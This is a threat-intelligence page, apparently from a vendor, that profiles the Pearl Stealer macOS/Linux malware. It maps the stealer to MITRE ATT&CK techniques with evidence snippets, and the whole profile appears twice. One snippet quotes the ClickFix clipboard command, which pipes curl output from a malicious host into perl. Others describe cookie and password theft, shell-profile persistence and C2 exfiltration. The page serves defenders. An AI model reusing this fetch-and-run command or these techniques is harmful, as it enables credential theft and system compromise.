Malware

Pearl Stealer

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

18 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique

T1598Phishing for InformationEvidence1

On macOS, the user is prompted to provide their password. Besides uploading the password to the C2, this will be used to run sudo to install a system level script for persistence.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

copyTextToClipboard ( " nohup bash -c \" curl -sL cloudflare.blazing-cloud[.]com/mac/verify/captcha/ " + userId + " | perl \" >/dev/null 2>&1 & killall Terminal

T1204User ExecutionEvidence1

Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard.

Persistence

2 techniques

T1037Boot or Logon Initialization ScriptsEvidence1

Further on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile scripts.

T1037.001Logon Script (Windows)Evidence1

Next, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the downloaded system.pl .

Privilege Escalation

3 techniques

T1037Boot or Logon Initialization ScriptsEvidence1

Further on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile scripts.

T1037.001Logon Script (Windows)Evidence1

Next, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the downloaded system.pl .

T1548.003Sudo and Sudo CachingEvidence1

Next, it creates a Perl script named /tmp/install_$$.pl to be run using sudo with the victim provided password.

Stealth

3 techniques

T1027Obfuscated Files or InformationEvidence1

The Perl is obfuscated, but it’s not too difficult to deobfuscate.

T1036MasqueradingEvidence1

The install script creates a bash script in the victim’s home directory named Apple Inc. which is used to launch the already downloaded system.pl .

T1497.001System ChecksEvidence1

Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.

Credential Access

2 techniques

T1539Steal Web Session CookieEvidence1

It looks for Chromium based browser files like Cookies and Login Data . For Firefox, it looks for files like cookies.sqlite and logins.json .

T1555Credentials from Password StoresEvidence1

For Firefox, it looks for files like cookies.sqlite and logins.json .

Discovery

4 techniques

T1033System Owner/User DiscoveryEvidence1

The next section uses api.ipify.org to try to get the victim’s current external IP.

T1082System Information DiscoveryEvidence1

Of note is how the stealer uses $^O to determine if the system is macOS or linux.

T1083File and Directory DiscoveryEvidence1

After finding all interesting files, the script finally exfiltrates all the files specified in $ENV{HOME}/everything.txt .

T1497.001System ChecksEvidence1

Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.

Collection

2 techniques

T1115Clipboard DataEvidence1

Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard.

T1560Archive Collected DataEvidence1

Instead of uploading each file one by one, or creating a single large archive of the complete set of files, parallel is used to create at most 50 jobs that run in parallel

Command and Control

1 technique

T1105Ingress Tool TransferEvidence1

It downloads two payloads from the IP above: parallel and system.pl .

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

So all the exfiltrated files will be uploaded to the C2 server at the path /util/upload_data/$identifier .

INDICATORS OF COMPROMISE

IOCs tracked for this family

26 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

7 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

15 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

hash.sha256●●●●●●●●●●●●View more in app1 year ago

uri●●●●●●●●●●●●View more in app1 year ago

hash.sha256●●●●●●●●●●●●View more in app1 year ago

ip.v4●●●●●●●●●●●●View more in app1 year ago

uri●●●●●●●●●●●●View more in app1 year ago

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

rmceoin malwareNews

Jul 20, 2025

Perl based macOS/linux Stealer | Malware Analysis

A seemingly undocumented Perl-based macOS/Linux stealer delivered via ClickFix. It downloads additional components, establishes persistence, inventories browser, wallet, document, and other files, exfiltrates them to C2 infrastructure, prompts macOS users for their password, and deploys a command-execution backdoor via system.pl.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching26

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping18

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

Malware

Pearl Stealer

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

18 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique

T1598Phishing for InformationEvidence1

On macOS, the user is prompted to provide their password. Besides uploading the password to the C2, this will be used to run sudo to install a system level script for persistence.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

copyTextToClipboard ( " nohup bash -c \" curl -sL cloudflare.blazing-cloud[.]com/mac/verify/captcha/ " + userId + " | perl \" >/dev/null 2>&1 & killall Terminal

T1204User ExecutionEvidence1

Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard.

Persistence

2 techniques

T1037Boot or Logon Initialization ScriptsEvidence1

Further on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile scripts.

T1037.001Logon Script (Windows)Evidence1

Next, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the downloaded system.pl .

Privilege Escalation

3 techniques

T1037Boot or Logon Initialization ScriptsEvidence1

Further on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile scripts.

T1037.001Logon Script (Windows)Evidence1

Next, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the downloaded system.pl .

T1548.003Sudo and Sudo CachingEvidence1

Next, it creates a Perl script named /tmp/install_$$.pl to be run using sudo with the victim provided password.

Stealth

3 techniques

T1027Obfuscated Files or InformationEvidence1

The Perl is obfuscated, but it’s not too difficult to deobfuscate.

T1036MasqueradingEvidence1

The install script creates a bash script in the victim’s home directory named Apple Inc. which is used to launch the already downloaded system.pl .

T1497.001System ChecksEvidence1

Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.

Credential Access

2 techniques

T1539Steal Web Session CookieEvidence1

It looks for Chromium based browser files like Cookies and Login Data . For Firefox, it looks for files like cookies.sqlite and logins.json .

T1555Credentials from Password StoresEvidence1

For Firefox, it looks for files like cookies.sqlite and logins.json .

Discovery

4 techniques

T1033System Owner/User DiscoveryEvidence1

The next section uses api.ipify.org to try to get the victim’s current external IP.

T1082System Information DiscoveryEvidence1

Of note is how the stealer uses $^O to determine if the system is macOS or linux.

T1083File and Directory DiscoveryEvidence1

After finding all interesting files, the script finally exfiltrates all the files specified in $ENV{HOME}/everything.txt .

T1497.001System ChecksEvidence1

Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.

Collection

2 techniques

T1115Clipboard DataEvidence1

Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard.

T1560Archive Collected DataEvidence1

Instead of uploading each file one by one, or creating a single large archive of the complete set of files, parallel is used to create at most 50 jobs that run in parallel

Command and Control

1 technique

T1105Ingress Tool TransferEvidence1

It downloads two payloads from the IP above: parallel and system.pl .

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

So all the exfiltrated files will be uploaded to the C2 server at the path /util/upload_data/$identifier .

INDICATORS OF COMPROMISE

IOCs tracked for this family

26 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

7 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

15 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

hash.sha256●●●●●●●●●●●●View more in app1 year ago

uri●●●●●●●●●●●●View more in app1 year ago

hash.sha256●●●●●●●●●●●●View more in app1 year ago

ip.v4●●●●●●●●●●●●View more in app1 year ago

uri●●●●●●●●●●●●View more in app1 year ago

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

rmceoin malwareNews

Jul 20, 2025

Perl based macOS/linux Stealer | Malware Analysis

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching26

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping18

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.